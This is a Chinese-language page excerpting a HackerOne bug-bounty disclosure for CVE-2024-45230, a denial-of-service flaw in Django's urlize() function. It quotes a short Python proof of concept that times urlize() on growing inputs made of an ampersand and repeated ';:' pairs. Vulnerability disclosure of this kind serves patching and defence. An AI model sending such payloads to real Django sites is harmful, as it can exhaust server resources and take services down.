CVE-2024-45230 - Potential denial-of-service in django.utils.html.urlize() (Another pattern)
拒绝服务 / Allocation of Resources Without Limits or Throttling / #2881639
该报告还没有中文解读。
原文摘录
摘自原文(1116 字符中的一小部分)
This one is similar to https://hackerone.com/reports/2795558, but I found the DoS vulnerability by putting an ampersand character beside repeated `;:` characters. This is the PoC that I used:
原文中的代码
import django.utils.html
from time import time
print("=== django.utils.html.urlize('&' + ';:' * n) ===")
for i in range(0,600000, 40000):
start = time()
pattern = ';:'
PAYLOAD = '&' + pattern * i
django.utils.html.urlize(PAYLOAD)
print(len(PAYLOAD), "\t", time() - start) …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @mprogrammer · 版权归作者与 Internet Bug Bounty 所有